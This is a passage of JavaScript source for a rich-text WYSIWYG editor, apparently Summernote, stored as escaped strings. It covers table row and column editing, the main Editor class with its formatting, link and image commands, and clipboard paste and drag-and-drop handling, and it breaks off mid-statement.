parseInt(currentCell.baseCell.rowSpan, 10);\n          rowspanNumber++;\n          currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);\n          break;\n      }\n    }\n\n    if (position === 'top') {\n      currentTr.before(html);\n    } else {\n      const cellHasRowspan = (cell.rowSpan > 1);\n      if (cellHasRowspan) {\n        const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);\n        $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));\n        return;\n      }\n      currentTr.after(html);\n    }\n  }\n\n  /**\n   * Add a new col\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (left/right)\n   * @return {Node}\n   */\n  addCol(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const rowsGroup = $(row).siblings();\n    rowsGroup.push(row);\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Add, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      const currentCell = actions[actionIndex];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          if (position === 'right') {\n            $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'right') {\n            let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);\n            colspanNumber++;\n            currentCell.baseCell.setAttribute('colSpan', colspanNumber);\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n      }\n    }\n  }\n\n  /*\n  * Copy attributes from element.\n  *\n  * @param {object} Element to recover attributes.\n  * @return {string} Copied string elements.\n  */\n  recoverAttributes(el) {\n    let resultStr = '';\n\n    if (!el) {\n      return resultStr;\n    }\n\n    const attrList = el.attributes || [];\n\n    for (let i = 0; i < attrList.length; i++) {\n      if (attrList[i].name.toLowerCase() === 'id') {\n        continue;\n      }\n\n      if (attrList[i].specified) {\n        resultStr += ' ' + attrList[i].name + '=\\'' + attrList[i].value + '\\'';\n      }\n    }\n\n    return resultStr;\n  }\n\n  /**\n   * Delete current row\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteRow(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n    const rowPos = row[0].rowIndex;\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n\n      const baseCell = actions[actionIndex].baseCell;\n      const virtualPosition = actions[actionIndex].virtualTable;\n      const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);\n      let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.AddCell:\n          const nextRow = row.next('tr')[0];\n          if (!nextRow) { continue; }\n          const cloneRow = row[0].cells[cellPos];\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);\n              nextRow.cells[cellPos].innerHTML = '';\n            } else if (rowspanNumber === 2) {\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].removeAttribute('rowSpan');\n              nextRow.cells[cellPos].innerHTML = '';\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              baseCell.setAttribute('rowSpan', rowspanNumber);\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (rowspanNumber === 2) {\n              baseCell.removeAttribute('rowSpan');\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          // Do not need remove cell because row will be deleted.\n          continue;\n      }\n    }\n    row.remove();\n  }\n\n  /**\n   * Delete current col\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteCol(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          const baseCell = actions[actionIndex].baseCell;\n          const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);\n          if (hasColspan) {\n            let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;\n            if (colspanNumber > 2) {\n              colspanNumber--;\n              baseCell.setAttribute('colSpan', colspanNumber);\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (colspanNumber === 2) {\n              baseCell.removeAttribute('colSpan');\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          dom.remove(actions[actionIndex].baseCell, true);\n          continue;\n      }\n    }\n  }\n\n  /**\n   * create empty table element\n   *\n   * @param {Number} rowCount\n   * @param {Number} colCount\n   * @return {Node}\n   */\n  createTable(colCount, rowCount, options) {\n    const tds = [];\n    let tdHTML;\n    for (let idxCol = 0; idxCol < colCount; idxCol++) {\n      tds.push('<td>' + dom.blank + '</td>');\n    }\n    tdHTML = tds.join('');\n\n    const trs = [];\n    let trHTML;\n    for (let idxRow = 0; idxRow < rowCount; idxRow++) {\n      trs.push('<tr>' + tdHTML + '</tr>');\n    }\n    trHTML = trs.join('');\n    const $table = $('<table>' + trHTML + '</table>');\n    if (options && options.tableClassName) {\n      $table.addClass(options.tableClassName);\n    }\n\n    return $table[0];\n  }\n\n  /**\n   * Delete current table\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteTable(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    $(cell).closest('table').remove();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport { readFileAsDataURL, createImage } from '../core/async';\nimport History from '../editing/History';\nimport Style from '../editing/Style';\nimport Typing from '../editing/Typing';\nimport Table from '../editing/Table';\nimport Bullet from '../editing/Bullet';\n\nconst KEY_BOGUS = 'bogus';\n\n/**\n * @class Editor\n */\nexport default class Editor {\n  constructor(context) {\n    this.context = context;\n\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.editable = this.$editable[0];\n    this.lastRange = null;\n\n    this.style = new Style();\n    this.table = new Table();\n    this.typing = new Typing();\n    this.bullet = new Bullet();\n    this.history = new History(this.$editable);\n\n    this.context.memo('help.undo', this.lang.help.undo);\n    this.context.memo('help.redo', this.lang.help.redo);\n    this.context.memo('help.tab', this.lang.help.tab);\n    this.context.memo('help.untab', this.lang.help.untab);\n    this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);\n    this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);\n    this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);\n    this.context.memo('help.indent', this.lang.help.indent);\n    this.context.memo('help.outdent', this.lang.help.outdent);\n    this.context.memo('help.formatPara', this.lang.help.formatPara);\n    this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);\n    this.context.memo('help.fontName', this.lang.help.fontName);\n\n    // native commands(with execCommand), generate function for execCommand\n    const commands = [\n      'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',\n      'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',\n      'formatBlock', 'removeFormat', 'backColor'\n    ];\n\n    for (let idx = 0, len = commands.length; idx < len; idx++) {\n      this[commands[idx]] = ((sCmd) => {\n        return (value) => {\n          this.beforeCommand();\n          document.execCommand(sCmd, false, value);\n          this.afterCommand(true);\n        };\n      })(commands[idx]);\n      this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);\n    }\n\n    this.fontName = this.wrapCommand((value) => {\n      return this.fontStyling('font-family', \"\\'\" + value + \"\\'\");\n    });\n\n    this.fontSize = this.wrapCommand((value) => {\n      return this.fontStyling('font-size', value + 'px');\n    });\n\n    for (let idx = 1; idx <= 6; idx++) {\n      this['formatH' + idx] = ((idx) => {\n        return () => {\n          this.formatBlock('H' + idx);\n        };\n      })(idx);\n      this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);\n    };\n\n    this.insertParagraph = this.wrapCommand(() => {\n      this.typing.insertParagraph(this.editable);\n    });\n\n    this.insertOrderedList = this.wrapCommand(() => {\n      this.bullet.insertOrderedList(this.editable);\n    });\n\n    this.insertUnorderedList = this.wrapCommand(() => {\n      this.bullet.insertUnorderedList(this.editable);\n    });\n\n    this.indent = this.wrapCommand(() => {\n      this.bullet.indent(this.editable);\n    });\n\n    this.outdent = this.wrapCommand(() => {\n      this.bullet.outdent(this.editable);\n    });\n\n    /**\n     * insertNode\n     * insert node\n     * @param {Node} node\n     */\n    this.insertNode = this.wrapCommand((node) => {\n      if (this.isLimited($(node).text().length)) {\n        return;\n      }\n      const rng = this.createRange();\n      rng.insertNode(node);\n      range.createFromNodeAfter(node).select();\n    });\n\n    /**\n     * insert text\n     * @param {String} text\n     */\n    this.insertText = this.wrapCommand((text) => {\n      if (this.isLimited(text.length)) {\n        return;\n      }\n      const rng = this.createRange();\n      const textNode = rng.insertNode(dom.createText(text));\n      range.create(textNode, dom.nodeLength(textNode)).select();\n    });\n    /**\n     * paste HTML\n     * @param {String} markup\n     */\n    this.pasteHTML = this.wrapCommand((markup) => {\n      if (this.isLimited(markup.length)) {\n        return;\n      }\n      const contents = this.createRange().pasteHTML(markup);\n      range.createFromNodeAfter(lists.last(contents)).select();\n    });\n\n    /**\n     * formatBlock\n     *\n     * @param {String} tagName\n     */\n    this.formatBlock = this.wrapCommand((tagName, $target) => {\n      const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;\n      if (onApplyCustomStyle) {\n        onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);\n      } else {\n        this.onFormatBlock(tagName, $target);\n      }\n    });\n\n    /**\n     * insert horizontal rule\n     */\n    this.insertHorizontalRule = this.wrapCommand(() => {\n      const hrNode = this.createRange().insertNode(dom.create('HR'));\n      if (hrNode.nextSibling) {\n        range.create(hrNode.nextSibling, 0).normalize().select();\n      }\n    });\n\n    /**\n     * lineHeight\n     * @param {String} value\n     */\n    this.lineHeight = this.wrapCommand((value) => {\n      this.style.stylePara(this.createRange(), {\n        lineHeight: value\n      });\n    });\n\n    /**\n     * create link (command)\n     *\n     * @param {Object} linkInfo\n     */\n    this.createLink = this.wrapCommand((linkInfo) => {\n      let linkUrl = linkInfo.url;\n      const linkText = linkInfo.text;\n      const isNewWindow = linkInfo.isNewWindow;\n      let rng = linkInfo.range || this.createRange();\n      const isTextChanged = rng.toString() !== linkText;\n\n      // handle spaced urls from input\n      if (typeof linkUrl === 'string') {\n        linkUrl = linkUrl.trim();\n      }\n\n      if (this.options.onCreateLink) {\n        linkUrl = this.options.onCreateLink(linkUrl);\n      } else {\n        // if url doesn't match an URL schema, set http:// as default\n        linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?/.test(linkUrl)\n          ? linkUrl : 'http://' + linkUrl;\n      }\n\n      let anchors = [];\n      if (isTextChanged) {\n        rng = rng.deleteContents();\n        const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);\n        anchors.push(anchor);\n      } else {\n        anchors = this.style.styleNodes(rng, {\n          nodeName: 'A',\n          expandClosestSibling: true,\n          onlyPartialContains: true\n        });\n      }\n\n      $.each(anchors, (idx, anchor) => {\n        $(anchor).attr('href', linkUrl);\n        if (isNewWindow) {\n          $(anchor).attr('target', '_blank');\n        } else {\n          $(anchor).removeAttr('target');\n        }\n      });\n\n      const startRange = range.createFromNodeBefore(lists.head(anchors));\n      const startPoint = startRange.getStartPoint();\n      const endRange = range.createFromNodeAfter(lists.last(anchors));\n      const endPoint = endRange.getEndPoint();\n\n      range.create(\n        startPoint.node,\n        startPoint.offset,\n        endPoint.node,\n        endPoint.offset\n      ).select();\n    });\n\n    /**\n     * setting color\n     *\n     * @param {Object} sObjColor  color code\n     * @param {String} sObjColor.foreColor foreground color\n     * @param {String} sObjColor.backColor background color\n     */\n    this.color = this.wrapCommand((colorInfo) => {\n      const foreColor = colorInfo.foreColor;\n      const backColor = colorInfo.backColor;\n\n      if (foreColor) { document.execCommand('foreColor', false, foreColor); }\n      if (backColor) { document.execCommand('backColor', false, backColor); }\n    });\n\n    /**\n     * Set foreground color\n     *\n     * @param {String} colorCode foreground color code\n     */\n    this.foreColor = this.wrapCommand((colorInfo) => {\n      document.execCommand('styleWithCSS', false, true);\n      document.execCommand('foreColor', false, colorInfo);\n    });\n\n    /**\n     * insert Table\n     *\n     * @param {String} dimension of table (ex : \"5x5\")\n     */\n    this.insertTable = this.wrapCommand((dim) => {\n      const dimension = dim.split('x');\n\n      const rng = this.createRange().deleteContents();\n      rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options));\n    });\n\n    /**\n     * remove media object and Figure Elements if media object is img with Figure.\n     */\n    this.removeMedia = this.wrapCommand(() => {\n      let $target = $(this.restoreTarget()).parent();\n      if ($target.parent('figure').length) {\n        $target.parent('figure').remove();\n      } else {\n        $target = $(this.restoreTarget()).detach();\n      }\n      this.context.triggerEvent('media.delete', $target, this.$editable);\n    });\n\n    /**\n     * float me\n     *\n     * @param {String} value\n     */\n    this.floatMe = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.toggleClass('note-float-left', value === 'left');\n      $target.toggleClass('note-float-right', value === 'right');\n      $target.css('float', value);\n    });\n\n    /**\n     * resize overlay element\n     * @param {String} value\n     */\n    this.resize = this.wrapCommand((value) => {\n      const $target = $(this.restoreTarget());\n      $target.css({\n        width: value * 100 + '%',\n        height: ''\n      });\n    });\n  }\n\n  initialize() {\n    // bind custom events\n    this.$editable.on('keydown', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        this.context.triggerEvent('enter', event);\n      }\n      this.context.triggerEvent('keydown', event);\n\n      if (!event.isDefaultPrevented()) {\n        if (this.options.shortcuts) {\n          this.handleKeyMap(event);\n        } else {\n          this.preventDefaultEditableShortCuts(event);\n        }\n      }\n      if (this.isLimited(1, event)) {\n        return false;\n      }\n    }).on('keyup', (event) => {\n      this.context.triggerEvent('keyup', event);\n    }).on('focus', (event) => {\n      this.context.triggerEvent('focus', event);\n    }).on('blur', (event) => {\n      this.context.triggerEvent('blur', event);\n    }).on('mousedown', (event) => {\n      this.context.triggerEvent('mousedown', event);\n    }).on('mouseup', (event) => {\n      this.context.triggerEvent('mouseup', event);\n    }).on('scroll', (event) => {\n      this.context.triggerEvent('scroll', event);\n    }).on('paste', (event) => {\n      this.context.triggerEvent('paste', event);\n    });\n\n    // init content before set event\n    this.$editable.html(dom.html(this.$note) || dom.emptyPara);\n\n    this.$editable.on(env.inputEventName, func.debounce(() => {\n      this.context.triggerEvent('change', this.$editable.html());\n    }, 100));\n\n    this.$editor.on('focusin', (event) => {\n      this.context.triggerEvent('focusin', event);\n    }).on('focusout', (event) => {\n      this.context.triggerEvent('focusout', event);\n    });\n\n    if (!this.options.airMode) {\n      if (this.options.width) {\n        this.$editor.outerWidth(this.options.width);\n      }\n      if (this.options.height) {\n        this.$editable.outerHeight(this.options.height);\n      }\n      if (this.options.maxHeight) {\n        this.$editable.css('max-height', this.options.maxHeight);\n      }\n      if (this.options.minHeight) {\n        this.$editable.css('min-height', this.options.minHeight);\n      }\n    }\n\n    this.history.recordUndo();\n  }\n\n  destroy() {\n    this.$editable.off();\n  }\n\n  handleKeyMap(event) {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    const keys = [];\n\n    if (event.metaKey) { keys.push('CMD'); }\n    if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }\n    if (event.shiftKey) { keys.push('SHIFT'); }\n\n    const keyName = key.nameFromCode[event.keyCode];\n    if (keyName) {\n      keys.push(keyName);\n    }\n\n    const eventName = keyMap[keys.join('+')];\n    if (eventName) {\n      if (this.context.invoke(eventName) !== false) {\n        event.preventDefault();\n      }\n    } else if (key.isEdit(event.keyCode)) {\n      this.afterCommand();\n    }\n  }\n\n  preventDefaultEditableShortCuts(event) {\n    // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)\n    if ((event.ctrlKey || event.metaKey) &&\n      lists.contains([66, 73, 85], event.keyCode)) {\n      event.preventDefault();\n    }\n  }\n\n  isLimited(pad, event) {\n    pad = pad || 0;\n\n    if (typeof event !== 'undefined') {\n      if (key.isMove(event.keyCode) ||\n          (event.ctrlKey || event.metaKey) ||\n          lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {\n        return false;\n      }\n    }\n\n    if (this.options.maxTextLength > 0) {\n      if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {\n        return true;\n      }\n    }\n    return false;\n  }\n  /**\n   * create range\n   * @return {WrappedRange}\n   */\n  createRange() {\n    this.focus();\n    return range.create(this.editable);\n  }\n\n  /**\n   * saveRange\n   *\n   * save current range\n   *\n   * @param {Boolean} [thenCollapse=false]\n   */\n  saveRange(thenCollapse) {\n    this.lastRange = this.createRange();\n    if (thenCollapse) {\n      this.lastRange.collapse().select();\n    }\n  }\n\n  /**\n   * restoreRange\n   *\n   * restore lately range\n   */\n  restoreRange() {\n    if (this.lastRange) {\n      this.lastRange.select();\n      this.focus();\n    }\n  }\n\n  saveTarget(node) {\n    this.$editable.data('target', node);\n  }\n\n  clearTarget() {\n    this.$editable.removeData('target');\n  }\n\n  restoreTarget() {\n    return this.$editable.data('target');\n  }\n\n  /**\n   * currentStyle\n   *\n   * current style\n   * @return {Object|Boolean} unfocus\n   */\n  currentStyle() {\n    let rng = range.create();\n    if (rng) {\n      rng = rng.normalize();\n    }\n    return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);\n  }\n\n  /**\n   * style from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  styleFromNode($node) {\n    return this.style.fromNode($node);\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.undo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.redo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * before command\n   */\n  beforeCommand() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    // keep focus on editable before command execution\n    this.focus();\n  }\n\n  /**\n   * after command\n   * @param {Boolean} isPreventTrigger\n   */\n  afterCommand(isPreventTrigger) {\n    this.normalizeContent();\n    this.history.recordUndo();\n    if (!isPreventTrigger) {\n      this.context.triggerEvent('change', this.$editable.html());\n    }\n  }\n\n  /**\n   * handle tab key\n   */\n  tab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n\n      if (!this.isLimited(this.options.tabSize)) {\n        this.beforeCommand();\n        this.typing.insertTab(rng, this.options.tabSize);\n        this.afterCommand();\n      }\n    }\n  }\n\n  /**\n   * handle shift+tab key\n   */\n  untab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng, true);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n    }\n  }\n\n  /**\n   * run given function between beforeCommand and afterCommand\n   */\n  wrapCommand(fn) {\n    return () => {\n      this.beforeCommand();\n      fn.apply(this, arguments);\n      this.afterCommand();\n    };\n  }\n\n  /**\n   * insert image\n   *\n   * @param {String} src\n   * @param {String|Function} param\n   * @return {Promise}\n   */\n  insertImage(src, param) {\n    return createImage(src, param).then(($image) => {\n      this.beforeCommand();\n\n      if (typeof param === 'function') {\n        param($image);\n      } else {\n        if (typeof param === 'string') {\n          $image.attr('data-filename', param);\n        }\n        $image.css('width', Math.min(this.$editable.width(), $image.width()));\n      }\n\n      $image.show();\n      range.create(this.editable).insertNode($image[0]);\n      range.createFromNodeAfter($image[0]).select();\n      this.afterCommand();\n    }).fail((e) => {\n      this.context.triggerEvent('image.upload.error', e);\n    });\n  }\n\n  /**\n   * insertImages\n   * @param {File[]} files\n   */\n  insertImages(files) {\n    $.each(files, (idx, file) => {\n      const filename = file.name;\n      if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {\n        this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);\n      } else {\n        readFileAsDataURL(file).then((dataURL) => {\n          return this.insertImage(dataURL, filename);\n        }).fail(() => {\n          this.context.triggerEvent('image.upload.error');\n        });\n      }\n    });\n  }\n\n  /**\n   * insertImagesOrCallback\n   * @param {File[]} files\n   */\n  insertImagesOrCallback(files) {\n    const callbacks = this.options.callbacks;\n\n    // If onImageUpload this.options setted\n    if (callbacks.onImageUpload) {\n      this.context.triggerEvent('image.upload', files);\n      // else insert Image as dataURL\n    } else {\n      this.insertImages(files);\n    }\n  }\n\n  /**\n   * return selected plain text\n   * @return {String} text\n   */\n  getSelectedText() {\n    let rng = this.createRange();\n\n    // if range on anchor, expand range with anchor\n    if (rng.isOnAnchor()) {\n      rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));\n    }\n\n    return rng.toString();\n  }\n\n  onFormatBlock(tagName, $target) {\n    // [workaround] for MSIE, IE need `<`\n    tagName = env.isMSIE ? '<' + tagName + '>' : tagName;\n    document.execCommand('FormatBlock', false, tagName);\n\n    // support custom class\n    if ($target && $target.length) {\n      const className = $target[0].className || '';\n      if (className) {\n        const currentRange = this.createRange();\n\n        const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);\n        $parent.addClass(className);\n      }\n    }\n  }\n\n  formatPara() {\n    this.formatBlock('P');\n  }\n\n  fontStyling(target, value) {\n    const rng = this.createRange();\n\n    if (rng) {\n      const spans = this.style.styleNodes(rng);\n      $(spans).css(target, value);\n\n      // [workaround] added styled bogus span for style\n      //  - also bogus character needed for cursor position\n      if (rng.isCollapsed()) {\n        const firstSpan = lists.head(spans);\n        if (firstSpan && !dom.nodeLength(firstSpan)) {\n          firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;\n          range.createFromNodeAfter(firstSpan.firstChild).select();\n          this.$editable.data(KEY_BOGUS, firstSpan);\n        }\n      }\n    }\n  }\n\n  /**\n   * unlink\n   *\n   * @type command\n   */\n  unlink() {\n    let rng = this.createRange();\n    if (rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      rng = range.createFromNode(anchor);\n      rng.select();\n\n      this.beforeCommand();\n      document.execCommand('unlink');\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * returns link info\n   *\n   * @return {Object}\n   * @return {WrappedRange} return.range\n   * @return {String} return.text\n   * @return {Boolean} [return.isNewWindow=true]\n   * @return {String} [return.url=\"\"]\n   */\n  getLinkInfo() {\n    const rng = this.createRange().expand(dom.isAnchor);\n\n    // Get the first anchor on range(for edit).\n    const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));\n    const linkInfo = {\n      range: rng,\n      text: rng.toString(),\n      url: $anchor.length ? $anchor.attr('href') : ''\n    };\n\n    // Define isNewWindow when anchor exists.\n    if ($anchor.length) {\n      linkInfo.isNewWindow = $anchor.attr('target') === '_blank';\n    }\n\n    return linkInfo;\n  }\n\n  addRow(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addRow(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  addCol(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addCol(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  deleteRow() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteRow(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteCol() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteCol(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteTable() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteTable(rng);\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * @param {Position} pos\n   * @param {jQuery} $target - target element\n   * @param {Boolean} [bKeepRatio] - keep ratio\n   */\n  resizeTo(pos, $target, bKeepRatio) {\n    let imageSize;\n    if (bKeepRatio) {\n      const newRatio = pos.y / pos.x;\n      const ratio = $target.data('ratio');\n      imageSize = {\n        width: ratio > newRatio ? pos.x : pos.y / ratio,\n        height: ratio > newRatio ? pos.x * ratio : pos.y\n      };\n    } else {\n      imageSize = {\n        width: pos.x,\n        height: pos.y\n      };\n    }\n\n    $target.css(imageSize);\n  }\n\n  /**\n   * returns whether editable area has focus or not.\n   */\n  hasFocus() {\n    return this.$editable.is(':focus');\n  }\n\n  /**\n   * set focus\n   */\n  focus() {\n    // [workaround] Screen will move when page is scolled in IE.\n    //  - do focus when not focused\n    if (!this.hasFocus()) {\n      this.$editable.focus();\n    }\n  }\n\n  /**\n   * returns whether contents is empty or not.\n   * @return {Boolean}\n   */\n  isEmpty() {\n    return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();\n  }\n\n  /**\n   * Removes all contents and restores the editable instance to an _emptyPara_.\n   */\n  empty() {\n    this.context.invoke('code', dom.emptyPara);\n  }\n\n  /**\n   * normalize content\n   */\n  normalizeContent() {\n    this.$editable[0].normalize();\n  }\n}\n","import lists from '../core/lists';\n\nexport default class Clipboard {\n  constructor(context) {\n    this.context = context;\n    this.$editable = context.layoutInfo.editable;\n  }\n\n  initialize() {\n    this.$editable.on('paste', this.pasteByEvent.bind(this));\n  }\n\n  /**\n   * paste by clipboard event\n   *\n   * @param {Event} event\n   */\n  pasteByEvent(event) {\n    const clipboardData = event.originalEvent.clipboardData;\n    if (clipboardData && clipboardData.items && clipboardData.items.length) {\n      const item = lists.head(clipboardData.items);\n      if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {\n        this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);\n      }\n      this.context.invoke('editor.afterCommand');\n    }\n  }\n}\n","import $ from 'jquery';\n\nexport default class Dropzone {\n  constructor(context) {\n    this.context = context;\n    this.$eventListener = $(document);\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.documentEventHandlers = {};\n\n    this.$dropzone = $([\n      '<div class=\"note-dropzone\">',\n      '  <div class=\"note-dropzone-message\"/>',\n      '</div>'\n    ].join('')).prependTo(this.$editor);\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  initialize() {\n    if (this.options.disableDragAndDrop) {\n      // prevent default drop event\n      this.documentEventHandlers.onDrop = (e) => {\n        e.preventDefault();\n      };\n      // do not consider outside of dropzone\n      this.$eventListener = this.$dropzone;\n      this.$eventListener.on('drop', this.documentEventHandlers.onDrop);\n    } else {\n      this.attachDragAndDropEvent();\n    }\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  attachDragAndDropEvent() {\n    let collection = $();\n    const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');\n\n    this.documentEventHandlers.onDragenter = (e) => {\n      const isCodeview = this.context.invoke('codeview.isActivated');\n      const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;\n      if (!isCodeview && !collection.length && hasEditorSize) {\n        this.$editor.addClass('dragover');\n        this.$dropzone.width(this.$editor.width());\n        this.$dropzone.height(this.$editor.height());\n        $dropzoneMessage.text(this.lang.image.dragImageHere);\n      }\n      collection = collection.add(e.target);\n    };\n\n    this.documentEventHandlers.onDragleave = (e) => {\n      collection = collection.not(e.target);\n      if (!collection.length) {\n        this.$editor.removeClass('dragover');\n      }\n    };\n\n    this.documentEventHandlers.onDrop = () => {\n      collection = $();\n      this.$editor.removeClass('dragover');\n    };\n\n    // show dropzone on dragenter when dragging a object to document\n    // -but only if the editor is visible, i.e. has a positive width and height\n    this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)\n      .on('dragleave', this.documentEventHandlers.onDragleave)\n      